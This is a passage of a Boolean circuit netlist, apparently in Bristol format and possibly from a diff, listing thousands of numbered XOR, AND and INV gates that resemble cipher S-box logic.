+2 1 17751 754 17710 XOR +2 1 759 17710 17839 XOR +2 1 17834 17838 17827 AND +2 1 17827 17751 17754 XOR +2 1 17835 17833 17826 AND +2 1 17839 759 17825 AND +2 1 17842 17831 17821 AND +2 1 17821 17750 17752 XOR +2 1 17754 17752 17758 XOR +2 1 752 17758 17763 XOR +2 1 17844 17829 17820 AND +2 1 17820 17826 17772 XOR +2 1 17772 17763 17818 XOR +2 1 17820 17821 17724 XOR +2 1 17724 17725 17771 XOR +2 1 17771 17753 17770 XOR +2 1 17823 17770 17817 XOR +2 1 17841 17832 17819 AND +2 1 17819 17822 17773 XOR +2 1 17819 17825 17777 XOR +2 1 17777 17749 17764 XOR +2 1 17772 17764 17815 XOR +2 1 17820 17773 17767 XOR +2 1 17753 17773 17727 XOR +2 1 17727 17752 17816 XOR +2 1 17758 17777 17726 XOR +2 1 754 17726 17769 XOR +2 1 17823 17767 17723 XOR +2 1 758 17723 17810 XOR +2 1 17818 17817 17814 AND +2 1 17814 17769 17809 XOR +2 1 17814 17816 17813 XOR +2 1 17815 17813 17812 AND +2 1 17812 17769 17811 XOR +2 1 17812 17824 17718 XOR +2 1 17718 17754 17714 XOR +2 1 752 17714 17717 XOR +2 1 17812 17763 17715 XOR +2 1 754 17714 17713 XOR +2 1 17809 17810 17808 AND +2 1 17808 17816 17807 XOR +2 1 17814 17808 17806 XOR +2 1 17808 17767 17722 XOR +2 1 17808 17825 17721 XOR +2 1 17721 17822 17716 XOR +2 1 17716 17717 17799 XOR +2 1 17816 17806 17805 AND +2 1 17805 17813 17803 XOR +2 1 17805 17823 17776 XOR +2 1 17776 17770 17797 XOR +2 1 758 17776 17759 XOR +2 1 17759 17722 17804 XOR +2 1 17811 17803 17802 AND +2 1 17802 17772 17762 XOR +2 1 17762 17764 17801 XOR +2 1 17802 17826 17720 XOR +2 1 17759 17720 17712 XOR +2 1 17749 17712 17719 XOR +2 1 17716 17719 17800 XOR +2 1 17762 17715 17798 XOR +2 1 17712 17713 17796 XOR +2 1 17797 17834 17795 AND +2 1 17804 17833 17794 AND +2 1 17807 759 17793 AND +2 1 17793 17795 17775 XOR +2 1 17798 17828 17792 AND +2 1 17801 17840 17791 AND +2 1 17811 17830 17790 AND +2 1 17790 17791 17729 XOR +2 1 17799 17831 17789 AND +2 1 17796 17829 17788 AND +2 1 17788 17791 17744 XOR +1 1 17744 17741 INV +2 1 17788 17789 17740 XOR +2 1 17800 17832 17787 AND +2 1 17797 17838 17786 AND +2 1 17804 17835 17785 AND +2 1 17807 17839 17784 AND +2 1 17798 17843 17783 AND +2 1 17783 17787 17760 XOR +2 1 17792 17783 17745 XOR +1 1 17760 17738 INV +2 1 17801 17836 17782 AND +2 1 17790 17782 17747 XOR +2 1 17811 17837 17781 AND +2 1 17738 17781 17737 XOR +2 1 17737 17775 17733 XOR +2 1 17799 17842 17780 AND +2 1 17780 17733 17736 XOR +2 1 17796 17844 17779 AND +2 1 17779 17780 17774 XOR +2 1 17785 17774 17756 XOR +2 1 17786 17756 17757 XOR +2 1 17794 17757 17761 XOR +2 1 17795 17761 17766 XOR +2 1 17747 17774 17743 XOR +2 1 17775 17743 17746 XOR +2 1 17745 17746 17848 XOR +2 1 17738 17743 17742 XOR +2 1 17741 17742 17847 XOR +2 1 17766 17740 17846 XOR +2 1 17756 17733 17732 XOR +2 1 17793 17761 17730 XOR +2 1 17729 17730 36650 XOR +2 1 36650 652 524 XOR +2 1 684 524 556 XOR +2 1 716 556 588 XOR +2 1 748 588 620 XOR +2 1 17800 17841 17778 AND +2 1 17789 17778 17739 XOR +1 1 17739 17735 INV +2 1 17735 17736 17845 XOR +1 1 17848 36647 INV +2 1 36647 655 527 XOR +2 1 687 527 559 XOR +2 1 719 559 591 XOR +2 1 751 591 623 XOR +1 1 17847 36648 INV +2 1 36648 654 526 XOR +2 1 686 526 558 XOR +2 1 718 558 590 XOR +2 1 750 590 622 XOR +1 1 17846 36653 INV +2 1 36653 649 521 XOR +2 1 681 521 553 XOR +2 1 713 553 585 XOR +2 1 745 585 617 XOR +1 1 17845 36652 INV +2 1 36652 650 522 XOR +2 1 682 522 554 XOR +2 1 714 554 586 XOR +2 1 746 586 618 XOR +2 1 622 620 21362 XOR +2 1 623 617 21369 XOR +2 1 618 21369 21454 XOR +2 1 622 21454 21450 XOR +2 1 21454 21450 21437 AND +2 1 17791 17792 32681 XOR +2 1 17788 32681 17768 XOR +2 1 17789 17768 17728 XOR +2 1 17784 17768 17734 XOR +1 1 17734 17731 INV +2 1 17731 17732 36649 XOR +2 1 17757 17728 36654 XOR +2 1 32681 17766 36651 XOR +2 1 21683 21684 32709 XOR +2 1 21680 32709 21660 XOR +2 1 21681 21660 21620 XOR +2 1 21649 21620 36598 XOR +2 1 36598 896 768 XOR +2 1 36630 768 640 XOR +2 1 21676 21660 21626 XOR +1 1 21626 21623 INV +2 1 21623 21624 36593 XOR +2 1 36593 901 773 XOR +2 1 933 773 805 XOR +2 1 965 805 837 XOR +2 1 997 837 869 XOR +2 1 869 24566 24568 XOR +2 1 865 24568 24649 XOR +2 1 866 24568 24646 XOR +2 1 24573 24568 24648 XOR +2 1 870 869 24583 XOR +2 1 868 869 24543 XOR +2 1 36625 773 645 XOR +2 1 805 645 677 XOR +2 1 837 677 709 XOR +2 1 869 709 741 XOR +2 1 740 741 17030 XOR +2 1 741 17053 17055 XOR +2 1 737 17055 17136 XOR +2 1 738 17055 17133 XOR +2 1 17060 17055 17135 XOR +2 1 742 741 17070 XOR +2 1 928 768 800 XOR +2 1 960 800 832 XOR +2 1 992 832 864 XOR +2 1 866 864 24567 XOR +2 1 24567 24573 24655 XOR +2 1 24583 24655 24653 XOR +2 1 864 870 24661 XOR +2 1 864 869 24659 XOR +2 1 24661 24646 24642 AND +2 1 800 640 672 XOR +2 1 24642 24567 24571 XOR +2 1 24655 24648 24640 AND +2 1 832 672 704 XOR +2 1 864 704 736 XOR +2 1 736 741 17146 XOR +2 1 736 742 17148 XOR +2 1 17148 17133 17129 AND +2 1 738 736 17054 XOR +2 1 17054 17060 17142 XOR +2 1 17070 17142 17140 XOR +2 1 17129 17054 17058 XOR +2 1 17142 17135 17127 AND +2 1 32709 21658 36595 XOR +2 1 36595 899 771 XOR +2 1 36627 771 1552 XOR +2 1 931 771 803 XOR +2 1 963 803 835 XOR +2 1 995 835 867 XOR +2 1 803 1552 1553 XOR +1 1 1553 675 INV +2 1 835 1553 1554 XOR +1 1 1554 707 INV +2 1 867 1554 1555 XOR +1 1 1555 739 INV +1 1 1552 643 INV +2 1 739 737 17056 XOR +2 1 739 736 17147 XOR +2 1 17147 17070 17143 XOR +2 1 17053 17147 17139 XOR +2 1 743 17139 17138 XOR +2 1 741 739 17149 XOR +2 1 17054 17149 17134 XOR +2 1 17056 17054 17016 XOR +2 1 17053 17016 17137 XOR +2 1 17056 738 17015 XOR +2 1 743 17015 17144 XOR +2 1 17139 17143 17132 AND +2 1 17132 17056 17059 XOR +2 1 17140 17138 17131 AND +2 1 17144 743 17130 AND +2 1 17147 17136 17126 AND +2 1 17126 17055 17057 XOR +2 1 17059 17057 17063 XOR +2 1 736 17063 17068 XOR +2 1 17149 17134 17125 AND +2 1 17125 17131 17077 XOR +2 1 17077 17068 17123 XOR +2 1 17125 17126 17029 XOR +2 1 17029 17030 17076 XOR +2 1 17076 17058 17075 XOR +2 1 17128 17075 17122 XOR +2 1 17146 17137 17124 AND +2 1 17124 17127 17078 XOR +2 1 17124 17130 17082 XOR +2 1 17082 17054 17069 XOR +2 1 17077 17069 17120 XOR +2 1 17125 17078 17072 XOR +2 1 17058 17078 17032 XOR +2 1 17032 17057 17121 XOR +2 1 17063 17082 17031 XOR +2 1 738 17031 17074 XOR +2 1 17128 17072 17028 XOR +2 1 742 17028 17115 XOR +2 1 17123 17122 17119 AND +2 1 17119 17074 17114 XOR +2 1 17119 17121 17118 XOR +2 1 17120 17118 17117 AND +2 1 17117 17074 17116 XOR +2 1 17117 17129 17023 XOR +2 1 17023 17059 17019 XOR +2 1 736 17019 17022 XOR +2 1 17117 17068 17020 XOR +2 1 738 17019 17018 XOR +2 1 17114 17115 17113 AND +2 1 17113 17121 17112 XOR +2 1 17119 17113 17111 XOR +2 1 17113 17072 17027 XOR +2 1 17113 17130 17026 XOR +2 1 17026 17127 17021 XOR +2 1 17021 17022 17104 XOR +2 1 17121 17111 17110 AND +2 1 17110 17118 17108 XOR +2 1 17110 17128 17081 XOR +2 1 17081 17075 17102 XOR +2 1 742 17081 17064 XOR +2 1 17064 17027 17109 XOR +2 1 17116 17108 17107 AND +2 1 17107 17077 17067 XOR +2 1 17067 17069 17106 XOR +2 1 17107 17131 17025 XOR +2 1 17064 17025 17017 XOR +2 1 17054 17017 17024 XOR +2 1 17021 17024 17105 XOR +2 1 17067 17020 17103 XOR +2 1 17017 17018 17101 XOR +2 1 17102 17139 17100 AND +2 1 17109 17138 17099 AND +2 1 17112 743 17098 AND +2 1 17098 17100 17080 XOR +2 1 17103 17133 17097 AND +2 1 17106 17145 17096 AND +2 1 17116 17135 17095 AND +2 1 17095 17096 17034 XOR +2 1 17104 17136 17094 AND +2 1 17101 17134 17093 AND +2 1 17093 17096 17049 XOR +1 1 17049 17046 INV +2 1 17093 17094 17045 XOR +2 1 17105 17137 17092 AND +2 1 17102 17143 17091 AND +2 1 17109 17140 17090 AND +2 1 17112 17144 17089 AND +2 1 17103 17148 17088 AND +2 1 17088 17092 17065 XOR +2 1 17097 17088 17050 XOR +1 1 17065 17043 INV +2 1 17106 17141 17087 AND +2 1 17095 17087 17052 XOR +2 1 17116 17142 17086 AND +2 1 17043 17086 17042 XOR +2 1 17042 17080 17038 XOR +2 1 17104 17147 17085 AND +2 1 17085 17038 17041 XOR +2 1 17101 17149 17084 AND +2 1 17084 17085 17079 XOR +2 1 17090 17079 17061 XOR +2 1 17091 17061 17062 XOR +2 1 17099 17062 17066 XOR +2 1 17100 17066 17071 XOR +2 1 17052 17079 17048 XOR +2 1 17080 17048 17051 XOR +2 1 17050 17051 17153 XOR +2 1 17043 17048 17047 XOR +2 1 17046 17047 17152 XOR +2 1 17071 17045 17151 XOR +2 1 17061 17038 17037 XOR +2 1 17098 17066 17035 XOR +2 1 17034 17035 36634 XOR +2 1 17105 17146 17083 AND +2 1 17094 17083 17044 XOR +1 1 17044 17040 INV +2 1 17040 17041 17150 XOR +1 1 17153 36631 INV +1 1 17152 36632 INV +1 1 17151 36637 INV +1 1 17150 36636 INV +2 1 867 865 24569 XOR +2 1 867 864 24660 XOR +2 1 24660 24583 24656 XOR +2 1 24566 24660 24652 XOR +2 1 871 24652 24651 XOR +2 1 869 867 24662 XOR +2 1 24567 24662 24647 XOR +2 1 24569 24567 24529 XOR +2 1 24566 24529 24650 XOR +2 1 24569 866 24528 XOR +2 1 871 24528 24657 XOR +2 1 24652 24656 24645 AND +2 1 24645 24569 24572 XOR +2 1 24653 24651 24644 AND +2 1 24657 871 24643 AND +2 1 24660 24649 24639 AND +2 1 24639 24568 24570 XOR +2 1 24572 24570 24576 XOR +2 1 864 24576 24581 XOR +2 1 24662 24647 24638 AND +2 1 24638 24644 24590 XOR +2 1 24590 24581 24636 XOR +2 1 24638 24639 24542 XOR +2 1 24542 24543 24589 XOR +2 1 24589 24571 24588 XOR +2 1 24641 24588 24635 XOR +2 1 24659 24650 24637 AND +2 1 24637 24640 24591 XOR +2 1 24637 24643 24595 XOR +2 1 24595 24567 24582 XOR +2 1 24590 24582 24633 XOR +2 1 24638 24591 24585 XOR +2 1 24571 24591 24545 XOR +2 1 24545 24570 24634 XOR +2 1 24576 24595 24544 XOR +2 1 866 24544 24587 XOR +2 1 24641 24585 24541 XOR +2 1 870 24541 24628 XOR +2 1 24636 24635 24632 AND +2 1 24632 24587 24627 XOR +2 1 24632 24634 24631 XOR +2 1 24633 24631 24630 AND +2 1 24630 24587 24629 XOR +2 1 24630 24642 24536 XOR +2 1 24536 24572 24532 XOR +2 1 864 24532 24535 XOR +2 1 24630 24581 24533 XOR +2 1 866 24532 24531 XOR +2 1 24627 24628 24626 AND +2 1 24626 24634 24625 XOR +2 1 24632 24626 24624 XOR +2 1 24626 24585 24540 XOR +2 1 24626 24643 24539 XOR +2 1 24539 24640 24534 XOR +2 1 24534 24535 24617 XOR +2 1 24634 24624 24623 AND +2 1 24623 24631 24621 XOR +2 1 24623 24641 24594 XOR +2 1 24594 24588 24615 XOR +2 1 870 24594 24577 XOR +2 1 24577 24540 24622 XOR +2 1 24629 24621 24620 AND +2 1 24620 24590 24580 XOR +2 1 24580 24582 24619 XOR +2 1 24620 24644 24538 XOR +2 1 24577 24538 24530 XOR +2 1 24567 24530 24537 XOR +2 1 24534 24537 24618 XOR +2 1 24580 24533 24616 XOR +2 1 24530 24531 24614 XOR +2 1 24615 24652 24613 AND +2 1 24622 24651 24612 AND +2 1 24625 871 24611 AND +2 1 24611 24613 24593 XOR +2 1 24616 24646 24610 AND +2 1 24619 24658 24609 AND +2 1 24629 24648 24608 AND +2 1 24608 24609 24547 XOR +2 1 24617 24649 24607 AND +2 1 24614 24647 24606 AND +2 1 24606 24609 24562 XOR +1 1 24562 24559 INV +2 1 24606 24607 24558 XOR +2 1 24618 24650 24605 AND +2 1 24615 24656 24604 AND +2 1 24622 24653 24603 AND +2 1 24625 24657 24602 AND +2 1 24616 24661 24601 AND +2 1 24601 24605 24578 XOR +2 1 24610 24601 24563 XOR +1 1 24578 24556 INV +2 1 24619 24654 24600 AND +2 1 24608 24600 24565 XOR +2 1 24629 24655 24599 AND +2 1 24556 24599 24555 XOR +2 1 24555 24593 24551 XOR +2 1 24617 24660 24598 AND +2 1 24598 24551 24554 XOR +2 1 24614 24662 24597 AND +2 1 24597 24598 24592 XOR +2 1 24603 24592 24574 XOR +2 1 24604 24574 24575 XOR +2 1 24612 24575 24579 XOR +2 1 24613 24579 24584 XOR +2 1 24565 24592 24561 XOR +2 1 24593 24561 24564 XOR +2 1 24563 24564 24666 XOR +2 1 24556 24561 24560 XOR +2 1 24559 24560 24665 XOR +2 1 24584 24558 24664 XOR +2 1 24574 24551 24550 XOR +2 1 24611 24579 24548 XOR +2 1 24547 24548 36602 XOR +2 1 36602 796 668 XOR +2 1 828 668 700 XOR +2 1 860 700 732 XOR +2 1 892 732 764 XOR +2 1 36634 668 540 XOR +2 1 700 540 572 XOR +2 1 732 572 604 XOR +2 1 764 604 636 XOR +2 1 24618 24659 24596 AND +2 1 24607 24596 24557 XOR +1 1 24557 24553 INV +2 1 24553 24554 24663 XOR +1 1 24666 36599 INV +2 1 36599 799 671 XOR +2 1 831 671 703 XOR +2 1 863 703 735 XOR +2 1 36631 671 543 XOR +2 1 703 543 575 XOR +2 1 735 575 607 XOR +2 1 895 735 767 XOR +2 1 767 607 639 XOR +1 1 24665 36600 INV +2 1 36600 798 670 XOR +2 1 830 670 702 XOR +2 1 862 702 734 XOR +2 1 894 734 766 XOR +2 1 36632 670 542 XOR +2 1 702 542 574 XOR +2 1 734 574 606 XOR +2 1 766 606 638 XOR +2 1 638 636 18721 XOR +2 1 766 764 23586 XOR +1 1 24664 36605 INV +2 1 36605 793 665 XOR +2 1 825 665 697 XOR +2 1 857 697 729 XOR +2 1 889 729 761 XOR +2 1 36637 665 537 XOR +2 1 697 537 569 XOR +2 1 729 569 601 XOR +2 1 761 601 633 XOR +2 1 639 633 18728 XOR +2 1 767 761 23593 XOR +1 1 24663 36604 INV +2 1 36604 794 666 XOR +2 1 826 666 698 XOR +2 1 36636 666 538 XOR +2 1 858 698 730 XOR +2 1 890 730 762 XOR +2 1 698 538 570 XOR +2 1 730 570 602 XOR +2 1 762 602 634 XOR +2 1 634 18728 18813 XOR +2 1 638 18813 18809 XOR +2 1 18813 18809 18796 AND +2 1 762 23593 23679 XOR +2 1 766 23679 23675 XOR +2 1 23679 23675 23662 AND +2 1 17096 17097 32676 XOR +2 1 32676 17071 36635 XOR +2 1 17093 32676 17073 XOR +2 1 17089 17073 17039 XOR +1 1 17039 17036 INV +2 1 17036 17037 36633 XOR +2 1 17094 17073 17033 XOR +2 1 17062 17033 36638 XOR +2 1 22656 22657 32716 XOR +2 1 32716 22631 36619 XOR +2 1 36619 779 651 XOR +2 1 811 651 683 XOR +2 1 843 683 715 XOR +2 1 875 715 747 XOR +2 1 747 745 18863 XOR +2 1 36651 651 523 XOR +2 1 683 523 555 XOR +2 1 715 555 587 XOR +2 1 747 587 619 XOR +2 1 619 617 21365 XOR +2 1 21365 618 21324 XOR +2 1 623 21324 21453 XOR +2 1 21453 623 21439 AND +2 1 18863 746 18822 XOR +2 1 751 18822 18951 XOR +2 1 18951 751 18937 AND +2 1 22653 32716 22633 XOR +2 1 22649 22633 22599 XOR +1 1 22599 22596 INV +2 1 22596 22597 36617 XOR +2 1 36617 781 653 XOR +2 1 813 653 685 XOR +2 1 845 685 717 XOR +2 1 877 717 749 XOR +2 1 36649 653 525 XOR +2 1 685 525 557 XOR +2 1 717 557 589 XOR +2 1 749 589 621 XOR +2 1 749 18860 18862 XOR +2 1 745 18862 18943 XOR +2 1 746 18862 18940 XOR +2 1 18867 18862 18942 XOR +2 1 750 749 18877 XOR +2 1 749 747 18956 XOR +2 1 748 749 18837 XOR +2 1 621 21362 21364 XOR +2 1 617 21364 21445 XOR +2 1 618 21364 21442 XOR +2 1 21369 21364 21444 XOR +2 1 622 621 21379 XOR +2 1 621 619 21458 XOR +2 1 620 621 21339 XOR +2 1 22654 22633 22593 XOR +2 1 22622 22593 36622 XOR +2 1 36622 776 648 XOR +2 1 808 648 680 XOR +2 1 36654 648 520 XOR +2 1 840 680 712 XOR +2 1 680 520 552 XOR +2 1 712 552 584 XOR +2 1 872 712 744 XOR +2 1 744 584 616 XOR +2 1 746 744 18861 XOR +2 1 18861 18956 18941 XOR +2 1 747 744 18954 XOR +2 1 18954 18877 18950 XOR +2 1 18861 18867 18949 XOR +2 1 18877 18949 18947 XOR +2 1 18860 18954 18946 XOR +2 1 751 18946 18945 XOR +2 1 18863 18861 18823 XOR +2 1 18860 18823 18944 XOR +2 1 744 750 18955 XOR +2 1 744 749 18953 XOR +2 1 18946 18950 18939 AND +2 1 18939 18863 18866 XOR +2 1 18947 18945 18938 AND +2 1 18955 18940 18936 AND +2 1 18936 18861 18865 XOR +2 1 18949 18942 18934 AND +2 1 18954 18943 18933 AND +2 1 18933 18862 18864 XOR +2 1 18866 18864 18870 XOR +2 1 744 18870 18875 XOR +2 1 18956 18941 18932 AND +2 1 18932 18938 18884 XOR +2 1 18884 18875 18930 XOR +2 1 18932 18933 18836 XOR +2 1 18836 18837 18883 XOR +2 1 18883 18865 18882 XOR +2 1 18935 18882 18929 XOR +2 1 18953 18944 18931 AND +2 1 18931 18934 18885 XOR +2 1 18931 18937 18889 XOR +2 1 18889 18861 18876 XOR +2 1 18884 18876 18927 XOR +2 1 18932 18885 18879 XOR +2 1 18865 18885 18839 XOR +2 1 18839 18864 18928 XOR +2 1 18870 18889 18838 XOR +2 1 746 18838 18881 XOR +2 1 18935 18879 18835 XOR +2 1 750 18835 18922 XOR +2 1 18930 18929 18926 AND +2 1 18926 18881 18921 XOR +2 1 18926 18928 18925 XOR +2 1 18927 18925 18924 AND +2 1 18924 18881 18923 XOR +2 1 18924 18936 18830 XOR +2 1 18830 18866 18826 XOR +2 1 744 18826 18829 XOR +2 1 18924 18875 18827 XOR +2 1 746 18826 18825 XOR +2 1 18921 18922 18920 AND +2 1 18920 18928 18919 XOR +2 1 18926 18920 18918 XOR +2 1 18920 18879 18834 XOR +2 1 18920 18937 18833 XOR +2 1 18833 18934 18828 XOR +2 1 18828 18829 18911 XOR +2 1 18928 18918 18917 AND +2 1 18917 18925 18915 XOR +2 1 18917 18935 18888 XOR +2 1 18888 18882 18909 XOR +2 1 750 18888 18871 XOR +2 1 18871 18834 18916 XOR +2 1 18923 18915 18914 AND +2 1 18914 18884 18874 XOR +2 1 18874 18876 18913 XOR +2 1 18914 18938 18832 XOR +2 1 18871 18832 18824 XOR +2 1 18861 18824 18831 XOR +2 1 18828 18831 18912 XOR +2 1 18874 18827 18910 XOR +2 1 18824 18825 18908 XOR +2 1 18909 18946 18907 AND +2 1 18916 18945 18906 AND +2 1 18919 751 18905 AND +2 1 18905 18907 18887 XOR +2 1 18910 18940 18904 AND +2 1 18913 18952 18903 AND +2 1 18923 18942 18902 AND +2 1 18902 18903 18841 XOR +2 1 18911 18943 18901 AND +2 1 18908 18941 18900 AND +2 1 18900 18903 18856 XOR +1 1 18856 18853 INV +2 1 18900 18901 18852 XOR +2 1 18912 18944 18899 AND +2 1 18909 18950 18898 AND +2 1 18916 18947 18897 AND +2 1 18919 18951 18896 AND +2 1 18910 18955 18895 AND +2 1 18895 18899 18872 XOR +2 1 18904 18895 18857 XOR +1 1 18872 18850 INV +2 1 18913 18948 18894 AND +2 1 18902 18894 18859 XOR +2 1 18923 18949 18893 AND +2 1 18850 18893 18849 XOR +2 1 18849 18887 18845 XOR +2 1 18911 18954 18892 AND +2 1 18892 18845 18848 XOR +2 1 18908 18956 18891 AND +2 1 18891 18892 18886 XOR +2 1 18897 18886 18868 XOR +2 1 18898 18868 18869 XOR +2 1 18906 18869 18873 XOR +2 1 18907 18873 18878 XOR +2 1 18859 18886 18855 XOR +2 1 18887 18855 18858 XOR +2 1 18857 18858 18960 XOR +2 1 18850 18855 18854 XOR +2 1 18853 18854 18959 XOR +2 1 18878 18852 18958 XOR +2 1 18868 18845 18844 XOR +2 1 18905 18873 18842 XOR +2 1 18841 18842 36658 XOR +2 1 36658 644 516 XOR +2 1 676 516 548 XOR +2 1 708 548 580 XOR +2 1 740 580 612 XOR +2 1 18912 18953 18890 AND +2 1 18901 18890 18851 XOR +1 1 18851 18847 INV +2 1 18847 18848 18957 XOR +1 1 18960 36655 INV +2 1 36655 647 519 XOR +2 1 679 519 551 XOR +2 1 711 551 583 XOR +2 1 743 583 615 XOR +1 1 18959 36656 INV +2 1 36656 646 518 XOR +2 1 678 518 550 XOR +2 1 710 550 582 XOR +2 1 742 582 614 XOR +1 1 18958 36661 INV +2 1 36661 641 513 XOR +2 1 673 513 545 XOR +2 1 705 545 577 XOR +2 1 737 577 609 XOR +1 1 18957 36660 INV +2 1 36660 642 1556 XOR +1 1 1556 514 INV +2 1 674 1556 1557 XOR +1 1 1557 546 INV +2 1 706 1557 1558 XOR +2 1 738 1558 1559 XOR +1 1 1559 610 INV +1 1 1558 578 INV +2 1 618 616 21363 XOR +2 1 21363 21458 21443 XOR +2 1 619 616 21456 XOR +2 1 21456 21379 21452 XOR +2 1 21363 21369 21451 XOR +2 1 21379 21451 21449 XOR +2 1 21362 21456 21448 XOR +2 1 623 21448 21447 XOR +2 1 21365 21363 21325 XOR +2 1 21362 21325 21446 XOR +2 1 616 622 21457 XOR +2 1 616 621 21455 XOR +2 1 21448 21452 21441 AND +2 1 21441 21365 21368 XOR +2 1 21449 21447 21440 AND +2 1 21457 21442 21438 AND +2 1 21438 21363 21367 XOR +2 1 21451 21444 21436 AND +2 1 21456 21445 21435 AND +2 1 21435 21364 21366 XOR +2 1 21368 21366 21372 XOR +2 1 616 21372 21377 XOR +2 1 21458 21443 21434 AND +2 1 21434 21440 21386 XOR +2 1 21386 21377 21432 XOR +2 1 21434 21435 21338 XOR +2 1 21338 21339 21385 XOR +2 1 21385 21367 21384 XOR +2 1 21437 21384 21431 XOR +2 1 21455 21446 21433 AND +2 1 21433 21436 21387 XOR +2 1 21433 21439 21391 XOR +2 1 21391 21363 21378 XOR +2 1 21386 21378 21429 XOR +2 1 21434 21387 21381 XOR +2 1 21367 21387 21341 XOR +2 1 21341 21366 21430 XOR +2 1 21372 21391 21340 XOR +2 1 618 21340 21383 XOR +2 1 21437 21381 21337 XOR +2 1 622 21337 21424 XOR +2 1 21432 21431 21428 AND +2 1 21428 21383 21423 XOR +2 1 21428 21430 21427 XOR +2 1 21429 21427 21426 AND +2 1 21426 21383 21425 XOR +2 1 21426 21438 21332 XOR +2 1 21332 21368 21328 XOR +2 1 616 21328 21331 XOR +2 1 21426 21377 21329 XOR +2 1 618 21328 21327 XOR +2 1 21423 21424 21422 AND +2 1 21422 21430 21421 XOR +2 1 21428 21422 21420 XOR +2 1 21422 21381 21336 XOR +2 1 21422 21439 21335 XOR +2 1 21335 21436 21330 XOR +2 1 21330 21331 21413 XOR +2 1 21430 21420 21419 AND +2 1 21419 21427 21417 XOR +2 1 21419 21437 21390 XOR +2 1 21390 21384 21411 XOR +2 1 622 21390 21373 XOR +2 1 21373 21336 21418 XOR +2 1 21425 21417 21416 AND +2 1 21416 21386 21376 XOR +2 1 21376 21378 21415 XOR +2 1 21416 21440 21334 XOR +2 1 21373 21334 21326 XOR +2 1 21363 21326 21333 XOR +2 1 21330 21333 21414 XOR +2 1 21376 21329 21412 XOR +2 1 21326 21327 21410 XOR +2 1 21411 21448 21409 AND +2 1 21418 21447 21408 AND +2 1 21421 623 21407 AND +2 1 21407 21409 21389 XOR +2 1 21412 21442 21406 AND +2 1 21415 21454 21405 AND +2 1 21425 21444 21404 AND +2 1 21404 21405 21343 XOR +2 1 21413 21445 21403 AND +2 1 21410 21443 21402 AND +2 1 21402 21405 21358 XOR +1 1 21358 21355 INV +2 1 21402 21403 21354 XOR +2 1 21414 21446 21401 AND +2 1 21411 21452 21400 AND +2 1 21418 21449 21399 AND +2 1 21421 21453 21398 AND +2 1 21412 21457 21397 AND +2 1 21397 21401 21374 XOR +2 1 21406 21397 21359 XOR +1 1 21374 21352 INV +2 1 21415 21450 21396 AND +2 1 21404 21396 21361 XOR +2 1 21425 21451 21395 AND +2 1 21352 21395 21351 XOR +2 1 21351 21389 21347 XOR +2 1 21413 21456 21394 AND +2 1 21394 21347 21350 XOR +2 1 21410 21458 21393 AND +2 1 21393 21394 21388 XOR +2 1 21399 21388 21370 XOR +2 1 21400 21370 21371 XOR +2 1 21408 21371 21375 XOR +2 1 21409 21375 21380 XOR +2 1 21361 21388 21357 XOR +2 1 21389 21357 21360 XOR +2 1 21359 21360 21462 XOR +2 1 21352 21357 21356 XOR +2 1 21355 21356 21461 XOR +2 1 21380 21354 21460 XOR +2 1 21370 21347 21346 XOR +2 1 21407 21375 21344 XOR +2 1 21343 21344 36690 XOR +2 1 36690 516 1412 XOR +2 1 548 1412 1444 XOR +2 1 580 1444 1476 XOR +2 1 612 1476 1508 XOR +2 1 21414 21455 21392 AND +2 1 21403 21392 21353 XOR +1 1 21353 21349 INV +2 1 21349 21350 21459 XOR +1 1 21462 36687 INV +2 1 36687 519 1415 XOR +2 1 551 1415 1447 XOR +2 1 583 1447 1479 XOR +2 1 615 1479 1511 XOR +1 1 21461 36688 INV +2 1 36688 518 1414 XOR +2 1 550 1414 1446 XOR +2 1 582 1446 1478 XOR +2 1 614 1478 1510 XOR +2 1 1510 1508 20528 XOR +1 1 21460 36693 INV +2 1 36693 513 1560 XOR +1 1 1560 1409 INV +2 1 545 1560 1561 XOR +1 1 1561 1441 INV +2 1 577 1561 1562 XOR +2 1 609 1562 1563 XOR +1 1 1563 1505 INV +1 1 1562 1473 INV +2 1 1511 1505 20535 XOR +1 1 21459 36692 INV +2 1 36692 514 1410 XOR +2 1 546 1410 1442 XOR +2 1 578 1442 1474 XOR +2 1 610 1474 1506 XOR +2 1 1506 20535 20620 XOR +2 1 1510 20620 20616 XOR +2 1 20620 20616 20603 AND +2 1 614 612 23030 XOR +2 1 615 609 23037 XOR +2 1 610 23037 23122 XOR +2 1 614 23122 23118 XOR +2 1 23122 23118 23105 AND +2 1 18903 18904 32689 XOR +2 1 32689 18878 36659 XOR +2 1 36659 643 515 XOR +2 1 675 515 547 XOR +2 1 707 547 579 XOR +2 1 739 579 611 XOR +2 1 611 609 23033 XOR +2 1 23033 610 22992 XOR +2 1 615 22992 23121 XOR +2 1 23121 615 23107 AND +2 1 18900 32689 18880 XOR +2 1 18896 18880 18846 XOR +1 1 18846 18843 INV +2 1 18843 18844 36657 XOR +2 1 36657 645 517 XOR +2 1 677 517 549 XOR +2 1 709 549 581 XOR +2 1 741 581 613 XOR +2 1 18901 18880 18840 XOR +2 1 18869 18840 36662 XOR +2 1 36662 640 512 XOR +2 1 672 512 544 XOR +2 1 704 544 576 XOR +2 1 736 576 608 XOR +2 1 610 608 23031 XOR +2 1 613 23030 23032 XOR +2 1 609 23032 23113 XOR +2 1 610 23032 23110 XOR +2 1 23037 23032 23112 XOR +2 1 611 608 23124 XOR +2 1 23031 23037 23119 XOR +2 1 23030 23124 23116 XOR +2 1 615 23116 23115 XOR +2 1 614 613 23047 XOR +2 1 23047 23119 23117 XOR +2 1 23124 23047 23120 XOR +2 1 613 611 23126 XOR +2 1 23031 23126 23111 XOR +2 1 612 613 23007 XOR +2 1 23033 23031 22993 XOR +2 1 23030 22993 23114 XOR +2 1 608 614 23125 XOR +2 1 608 613 23123 XOR +2 1 23116 23120 23109 AND +2 1 23109 23033 23036 XOR +2 1 23117 23115 23108 AND +2 1 23125 23110 23106 AND +2 1 23106 23031 23035 XOR +2 1 23119 23112 23104 AND +2 1 23124 23113 23103 AND +2 1 23103 23032 23034 XOR +2 1 23036 23034 23040 XOR +2 1 608 23040 23045 XOR +2 1 23126 23111 23102 AND +2 1 23102 23108 23054 XOR +2 1 23054 23045 23100 XOR +2 1 23102 23103 23006 XOR +2 1 23006 23007 23053 XOR +2 1 23053 23035 23052 XOR +2 1 23105 23052 23099 XOR +2 1 23123 23114 23101 AND +2 1 23101 23104 23055 XOR +2 1 23101 23107 23059 XOR +2 1 23059 23031 23046 XOR +2 1 23054 23046 23097 XOR +2 1 23102 23055 23049 XOR +2 1 23035 23055 23009 XOR +2 1 23009 23034 23098 XOR +2 1 23040 23059 23008 XOR +2 1 